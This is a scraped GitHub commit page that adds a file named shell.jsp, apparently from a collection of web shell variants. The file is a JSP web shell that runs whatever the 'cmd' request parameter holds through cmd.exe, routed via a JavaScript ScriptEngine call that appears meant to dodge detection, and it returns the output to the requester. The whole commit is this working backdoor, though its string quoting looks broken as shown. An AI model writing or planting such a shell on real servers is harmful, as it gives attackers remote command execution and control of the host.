We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
1 parent 9c2dd5f commit fec83daCopy full SHA for fec83da
1 file changed
shell/ScriptEngineManager/shell.jsp
@@ -0,0 +1,13 @@
1
+<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*,java.beans.*,java.lang.*,javax.script.*"%>
2
+<%
3
+ ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
4
+ BufferedReader object = (BufferedReader)scriptEngineManager.getEngineByName("JavaScript").eval("new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("cmd.exe /c "+request.getParameter("cmd")+"").getInputStream()))");
5
+
6
+ String line = "";
7
+ String result = "";
8
+ while((line=object.readLine())!=null)
9
+ {
10
+ result = result + line;
11
+ }
12
+ out.println(result);
13
+%>
0 commit comments